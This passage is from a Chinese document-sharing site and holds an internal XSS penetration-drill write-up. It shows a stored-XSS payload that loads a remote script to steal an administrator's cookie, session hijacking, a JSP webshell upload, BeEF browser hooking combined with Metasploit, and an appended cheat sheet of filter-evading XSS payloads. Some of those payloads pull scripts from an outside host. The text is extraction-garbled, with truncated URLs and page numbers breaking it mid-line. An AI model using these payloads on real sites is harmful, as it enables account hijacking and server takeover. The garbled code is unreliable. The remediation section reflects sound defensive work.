




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、XSS滲透攻擊演練 內(nèi)部公開(kāi) 請(qǐng)勿外傳XSS滲透攻擊演練郭秀峰2013.6.30前言 跨站攻擊,即 Cross Site Script Execution( 通常簡(jiǎn)寫為 XSS ,因 CSS 與層疊樣式表同名,故改為XSS) 是指攻擊者利用網(wǎng)站程序?qū)τ脩糨斎脒^(guò)濾不足,輸入可以顯示在頁(yè)面上對(duì)其他用戶造成影響HTML 代碼,從而盜取用戶資料、利用用戶身份進(jìn)行某種動(dòng)作或者對(duì)訪問(wèn)者進(jìn)行病毒侵害的一種攻擊方式。很多人對(duì)于 XSS 的利用大多停留在彈框框的程度,一些廠商對(duì) XSS 也是不
2、以為然,都認(rèn)為安全級(jí)別很低,甚至忽略不計(jì)。本文旨在講述關(guān)于跨站攻擊的利用方式,并結(jié)合實(shí)例進(jìn)行分析。滲透演練過(guò)程滲透演練發(fā)現(xiàn)網(wǎng)站反饋模塊可以提交任意腳本代碼進(jìn)入服務(wù)器后臺(tái),包括引起跨站的特定的javascript惡意腳本,如圖所示我構(gòu)造的截取cookie的腳本代碼,已經(jīng)成功的提交到了網(wǎng)站后臺(tái)。Xss攻擊代碼</textarea>'"><script src=或者</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/
3、var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source);/> 經(jīng)過(guò)一天的等待,網(wǎng)站管理員后臺(tái)登錄并查看我的我提交的腳本代碼,跨站漏洞攻擊平臺(tái)順利的接收到了發(fā)來(lái)的cookie身份認(rèn)證信息,如圖所示:利用f
4、irefox修改瀏覽器cookie為截取到的cookie,成功冒充管理員欺騙服務(wù)器進(jìn)入管理后臺(tái)查看反饋信息: 后臺(tái)登錄url為:http:/118.194.61.XXX/admin.do成功進(jìn)入后臺(tái)管理系統(tǒng);并可以對(duì)所有欄目操作。包括CEO的微博帳號(hào)設(shè)置等。后臺(tái)還包含上傳功能,經(jīng)滲透測(cè)試發(fā)現(xiàn)可以上傳指定jsp腳本木馬文件。成功上傳jsp木馬腳本到服務(wù)器目錄;url為 http:/wwww.XXX.com/pub/129/2013/files/job.jsp連接進(jìn)入順利執(zhí)行指定jsp木馬,可以接管目標(biāo)服務(wù)器,上傳下載,新建刪除網(wǎng)站文件等,甚至可以執(zhí)行系統(tǒng)命令。如圖所示:XSS滲透之BE
5、EF利用 BeEF是一個(gè)用于合法研究和測(cè)試目的的專業(yè)瀏覽器漏洞利用框架。它允許有經(jīng)驗(yàn)的滲透測(cè)試人員或系統(tǒng)管理員對(duì)目標(biāo)進(jìn)行攻擊測(cè)試。攻擊成功以后會(huì)加載瀏覽器劫持會(huì)話。BeFF,它擴(kuò)展了跨站漏洞的利用,能hook很多瀏覽器(IE和Firefox等)并可以執(zhí)行很多內(nèi)嵌命令。BeEF是目前歐美最流行的web框架攻擊平臺(tái),它的全稱是 the Browser exploitation framework project.通過(guò)XSS這個(gè)簡(jiǎn)單的漏洞,BeEF可以通過(guò)一段編制好的javascript控制目標(biāo)主機(jī)的瀏覽器,通過(guò)瀏覽器拿到各種信息并且掃描內(nèi)網(wǎng)信息,同時(shí)能夠配合metasploit進(jìn)一步滲透主機(jī),強(qiáng)大
6、的有些嚇人。BEEF項(xiàng)目地址:二、安裝BeEF先下載Beef最新版本$ svn checkout beef$ ruby install選擇第一項(xiàng)自動(dòng)安裝需要的相關(guān)gems即可,也可以選擇2按照提示一個(gè)一個(gè)進(jìn)行安裝,安裝完成后就可以直接啟動(dòng)了$ ruby beef -x三、使用說(shuō)明3.1 啟動(dòng)BeEF安裝完成后,啟動(dòng)BeEF#./beef命令行中顯示的UI URL以后即為WEB接口,用瀏覽器打開(kāi),輸入默認(rèn)密碼beef/beef,即可進(jìn)入BeEF管理頁(yè)面按照提示,假設(shè)此時(shí)目標(biāo)的服務(wù)器訪問(wèn)了這個(gè)demo頁(yè)面52:3000/demo
7、s/basic.html。則就被hook上了,如下圖所示 3.2 實(shí)施攻擊HOOK持續(xù)的時(shí)間為關(guān)閉測(cè)試頁(yè)面為止。在此期間,相當(dāng)于被控制了,可以發(fā)送攻擊命令了。選擇commands欄,可以看到很多已經(jīng)分好類的攻擊模塊。其中,4種顏色分別表示: 該攻擊模塊可用,且隱蔽性強(qiáng)該攻擊模塊可用,但隱蔽性差該用戶模塊是否可用還有待驗(yàn)證該攻擊模塊不可用 例如,選取MISC下的Raw JavaScript模塊作為測(cè)試用例,右端表格有該模塊的詳細(xì)說(shuō)明,以及一些可選的參數(shù)等。輸入Javascript code,點(diǎn)擊Excute
8、進(jìn)行攻擊,效果如下圖所示3.3 Proxy功能選中目標(biāo)主機(jī),點(diǎn)右鍵,在菜單中選中Use as Proxy 然后再Rider選項(xiàng)卡中的Forge Request 編輯并發(fā)送想要發(fā)送的內(nèi)容 通過(guò)查看目標(biāo)瀏覽器firebug記錄,可以確信確實(shí)發(fā)送了該http,達(dá)到了代理效果。同時(shí)Rider下的History選項(xiàng)也記錄了發(fā)送歷史記錄四、Metasploit組合 由于BeEF默認(rèn)是不加載metasploit的,要使用Metasploit豐富的攻擊模塊,需要做些配置。BT5下,首
9、先到beef目錄下修改/pentest/web/beef/config.yaml文件,將其中的metasploit選項(xiàng)改為enable,如下所示: 然后查看/pentest/web/beef/extensions/metasploit/config.yaml。查看到其中的pass默認(rèn)為abc123,這是與metasploit通信約定的密碼。轉(zhuǎn)到msf目錄 /opt/metasploit/msf3/。新建一個(gè) beef.rc文件,內(nèi)容為load msgrpc ServerHost= Pass=abc123 從而實(shí)現(xiàn)與beef的通信。啟動(dòng)msfconsole,
10、#msfconsole r beef.rc,如下圖所示,順利啟動(dòng)服務(wù)。 現(xiàn)在可以啟動(dòng)beef了,啟動(dòng)后,可以看到BEEF加載了204個(gè)metasploit的攻擊模塊 頁(yè)面如圖,現(xiàn)在可以使用metasploit的模塊進(jìn)行攻擊了。 五、實(shí)現(xiàn)原理5.1 簡(jiǎn)述 BEEF 采用ruby語(yǔ)言編寫,其目錄結(jié)構(gòu)如下所示: 除去一些安裝和說(shuō)明文件,Beef最主要的目錄有三個(gè),core、extension和modules。BEEF的核心文件在core目錄下,各種擴(kuò)展功能在extension目錄下,mod
11、ules則為攻擊模塊目錄。 5.2 Core Core目錄是BEEF的核心目錄,并負(fù)責(zé)加載extension和module。其中最關(guān)鍵的文件位于coremain目錄下,其文件結(jié)構(gòu)如下所示: Client目錄下均為js文件,是在受控客戶端(hooked browser)使用的js文件,包括net、browser、encode、os等的實(shí)現(xiàn),以u(píng)pdate.js為例,在coremainclientupdate.js中可以看到,定義了beef.updater,設(shè)置每隔5秒check一次
12、是否有新的命令,如果有,則獲取并執(zhí)行之。Console目錄用于命令行控制Constants目錄定義了各種常量Handlers目錄主要用于處理來(lái)自受控客戶端連接請(qǐng)求。Models 定義了一些基本的類Rest目錄:即WEB服務(wù)基于REST原則,是一種輕量級(jí)的HTTP實(shí)現(xiàn)。 在server.rb中可看到,是通過(guò)mount的形式將資源與URL相對(duì)應(yīng),即它不是一個(gè)簡(jiǎn)單的WEB目錄服務(wù),任何需要http服務(wù)的資源,都需要先mount才能使用。 def mount(url, http_handler_class, args = nil) &
13、#160; # argument type checking raise Exception:TypeError, ”url” needs to be a string if not url.string? if args = nil mountsurl = http_handler_c
14、lass else mountsurl = http_handler_class, *args end print_debug(“Server: mounted handler #url”) &
15、#160; end self.mount(“/init”, BeEF:Core:Handlers:BrowserDetails) # Rack mount points rack_app = Rack:URLMap.new(mounts)
16、; # Create the BeEF http server http_server = Thin:Server.new( configuration.get(beef.http.host),
17、0; configuration.get(beef.http.port), rack_app)5.3 extensions Extention目錄下為各種擴(kuò)展應(yīng)用 其中幾個(gè)extension的作用如下:Admin_ui: 實(shí)現(xiàn)了一個(gè)WEB界面
18、的控制后臺(tái)。Metasploit: 與metasploit互通相關(guān)的設(shè)置。Requester: 負(fù)責(zé)處理HTTP請(qǐng)求,其文件如下所示: 其中:Extension.rb 是每個(gè)擴(kuò)展必有的文件,是加載該擴(kuò)展的接口文件。Config.yaml為作者和該擴(kuò)展相關(guān)信息。Api.rb為自身注冊(cè)的一些API函數(shù)。Models定義了一個(gè)http模型對(duì)象,例如,其中有個(gè)has_run屬性,當(dāng)請(qǐng)求未發(fā)送時(shí),其值為”waiting”,發(fā)送攻擊時(shí),遍歷狀態(tài)為”waiting”的模塊,并發(fā)送http請(qǐng)求。Handler.rb 主要是處理http響應(yīng),收到響應(yīng)后將相應(yīng)的模塊has_run狀態(tài)置為complete
19、,并保存到數(shù)據(jù)庫(kù)。 5.4 modules Modules集合了BEEF的各個(gè)攻擊模塊,一般一個(gè)攻擊模塊分為3個(gè)文件:command.js、config.yaml、module.rb。這樣的結(jié)構(gòu)可以很方便地進(jìn)行模塊添加,易于擴(kuò)展。Config.yaml: 攻擊模塊相關(guān)信息,如名稱、描述、分類、作者、適用場(chǎng)景等Module.rb:文件定義了該攻擊模塊的類,繼承了BEFF:Core:Command類,在通用command類的基礎(chǔ)上定義一些該模塊特有的處理函數(shù),如使用較多的一個(gè)函數(shù)是post_execute,即攻擊進(jìn)行后進(jìn)行的操作(一般為保存結(jié)果),如下所示。cla
20、ss Browser_fingerprinting < BeEF:Core:Command def post_execute content = content'browser_type' = datastore'browser_type' if not datastore'browser_type'.nil? content'browser_version' = datastor
21、e'browser_version' if not datastore'browser_version'.nil? if content.empty? content'fail' = Failed to fingerprint browser. end save content end endCommand.js: 即為攻擊代碼,攻擊時(shí)讀取此js并發(fā)送給受控客
22、戶端。以detect_firebug模塊的command.js為例,代碼如下所示:beef.execute(function() var result = “Not in use or not installed”; if (window.console && (window.console.firebug | window.console.exception) result
23、 = “Enabled and in use!”; .send(“<%= command_url %>”, <%= command_id %>, “firebug=”+result);); 代碼很簡(jiǎn)單,在受控客戶端執(zhí)行取得結(jié)果之后,將結(jié)果返回給server端。B在core/main/client目錄下定義。在 Core目錄下的Command.rb中,可以看到加載過(guò)程,首先判斷該攻擊
24、模塊的command.js是否存在,如存在,就讀取到eruby,可能還需要進(jìn)行參數(shù)替換,所以需要進(jìn)行evaluate操作。 def output f = path+command.js (print_error “#f file does not exist”;return) if not File.exists? f
25、160; command = BeEF:Core:Models:Command.first(:id => command_id) eruby = Erubis:FastEruby.new(File.read(f) data = BeEF:Core:Configuration.instance.get(“beef.module.#key”) &
26、#160; cc = BeEF:Core:CommandContext.new cc'command_url' = default_command_url cc'command_id' = command_id JSON.parse(command'
27、;data').each|v| ccv'name' = v'value' if self.respond_to?(:execute) self.execute
28、160; end output = eruby.evaluate(cc) output end 總結(jié)通過(guò)本次滲透測(cè)試一步一步利用系統(tǒng)存在的漏洞不斷獲取系統(tǒng)權(quán)限,這里邊利用的漏洞有這么幾個(gè)一個(gè)是網(wǎng)站對(duì)外開(kāi)放反饋那里的提交頁(yè)面,對(duì)于客戶端提交的惡意腳本代碼,沒(méi)有做輸入的過(guò)濾處理或者后臺(tái)顯示的時(shí)
29、候沒(méi)有做輸出編碼處理,給跨站代碼的運(yùn)行留下了可趁之機(jī)。另一個(gè)是網(wǎng)站后臺(tái)提供上傳的地方?jīng)]有做任何的過(guò)濾哪怕是文件后綴的過(guò)濾都沒(méi)有做,導(dǎo)致可以直接上傳植入惡意腳本后門文件。建議鑒于以上兩個(gè)漏洞,我們提供如下建議:跨站方面:對(duì)網(wǎng)站上所有能提交到后臺(tái)的反饋信息處,限制客戶端的輸入過(guò)濾一些危險(xiǎn)字符比如< >? /; 等特殊字符,在輸出的地方對(duì)客戶端輸入的字符在服務(wù)端做轉(zhuǎn)義處理然后再發(fā)送給瀏覽器顯示。同時(shí)也可以在后臺(tái)cookie設(shè)置的時(shí)候cookie屬性加入httponly屬性,指定cookie信息通過(guò)http傳輸,這樣后臺(tái)即使存在了跨站腳本也讀取不到管理員的cookie。上傳文件方面:對(duì)后臺(tái)
30、上傳文件地方做白名單過(guò)濾機(jī)制,只允許如JPG、GIF等上傳。附:XSS滲透攻擊代碼匯總(1)普通的XSS JavaScript注入<SCRIPT SRC=http:/3/XSS/xss.js></SCRIPT>(2)IMG標(biāo)簽XSS使用JavaScript命令<SCRIPT SRC=http:/3/XSS/xss.js></SCRIPT>(3)IMG標(biāo)簽無(wú)分號(hào)無(wú)引號(hào)<IMG SRC=javascript:alert(XSS)>(4)IMG標(biāo)簽大小寫不敏感<IMG SRC=JaVaScRiPt:alert(XS
31、S)>(5)HTML編碼(必須有分號(hào))<IMG SRC=javascript:alert(“XSS”)>(6)修正缺陷IMG標(biāo)簽<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>(7)formCharCode標(biāo)簽(計(jì)算器)<IMG SRC=javascript:alert(String.fromCharCode(88,83,83)>(8)UTF-8的Unicode編碼(計(jì)算器)<IMG SRC=jav.省略.S')>(9)7位的UTF-8的Unicode編碼是沒(méi)有
32、分號(hào)的(計(jì)算器)<IMG SRC=jav.省略.S')>(10)十六進(jìn)制編碼也是沒(méi)有分號(hào)(計(jì)算器)<IMG SRC=java.省略.XSS')>(11)嵌入式標(biāo)簽,將Javascript分開(kāi)<IMG SRC=”jav ascript:alert(XSS);”>(12)嵌入式編碼標(biāo)簽,將Javascript分開(kāi)<IMG SRC=”jav ascript:alert(XSS);”>(13)嵌入式換行符
33、<IMG SRC=”jav ascript:alert(XSS);”>(14)嵌入式回車<IMG SRC=”jav ascript:alert(XSS);”>(15)嵌入式多行注入JavaScript,這是XSS極端的例子<IMG SRC=”javascript:alert(XSS)”>(16)解決限制字符(要求同頁(yè)面)<script>z=document.</script><script>z=z+write(“</script><script>z=z+<script</script&g
34、t;<script>z=z+ src=ht</script><script>z=z+tp:/ww</script><script>z=z+w.shell</script><script>z=z+.net/1.</script><script>z=z+js></sc</script><script>z=z+ript>”)</script><script>eval_r(z)</script>(17)空字符perl
35、-e print “<IMG SRC=java0script:alert(”XSS”)>”; > out(18)空字符2,空字符在國(guó)內(nèi)基本沒(méi)效果.因?yàn)闆](méi)有地方可以利用perl -e print “<SCR0IPT>alert(”XSS”)</SCR0IPT>”; > out(19)Spaces和meta前的IMG標(biāo)簽<IMG SRC=” javascript:alert(XSS);”>(20)Non-alpha-non-digit XSS<SCRIPT/XSS SRC=”http:/3/XSS/xss.js”></SCRIPT>(21)Non-alpha-non-digit XSS to 2<BODY onload!#$%&()*+-_.,:;?/|=alert(“XSS”)>(22)Non-alpha-non-digit XSS to 3<SCRIPT/S
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 做房 合同范本
- scada業(yè)績(jī)合同范本
- 代建回購(gòu)合同范本
- 上海會(huì)計(jì)代理記賬合同范本
- 事故自費(fèi)維修合同范本
- 上海租賃公司合同范本
- 公交港灣改造項(xiàng)目合同范本
- 個(gè)人收付款合同范本
- 產(chǎn)品加盟合同范本模板
- 農(nóng)村排污合同范本
- 社會(huì)學(xué)(高校社會(huì)學(xué)入門課程)全套教學(xué)課件
- 心血管介入護(hù)士進(jìn)修匯報(bào)
- 施工組織設(shè)計(jì)內(nèi)部審批表
- 《企業(yè)的可持續(xù)發(fā)展》課件
- 零至三歲兒童及老年人中醫(yī)保健指導(dǎo)專業(yè)知識(shí)講座培訓(xùn)課件
- DB12-T 1305-2024 公路瀝青路面泡沫瀝青冷再生技術(shù)規(guī)范
- 范文語(yǔ)文評(píng)課稿15篇
- 2024年山東省春季高考技能考試汽車專業(yè)試題庫(kù)-中(多選題匯總)
- 2016-2023年德州科技職業(yè)學(xué)院高職單招(英語(yǔ)/數(shù)學(xué)/語(yǔ)文)筆試歷年參考題庫(kù)含答案解析
- 《人文科學(xué)概論》課件
- 光伏機(jī)器人行業(yè)報(bào)告
評(píng)論
0/150
提交評(píng)論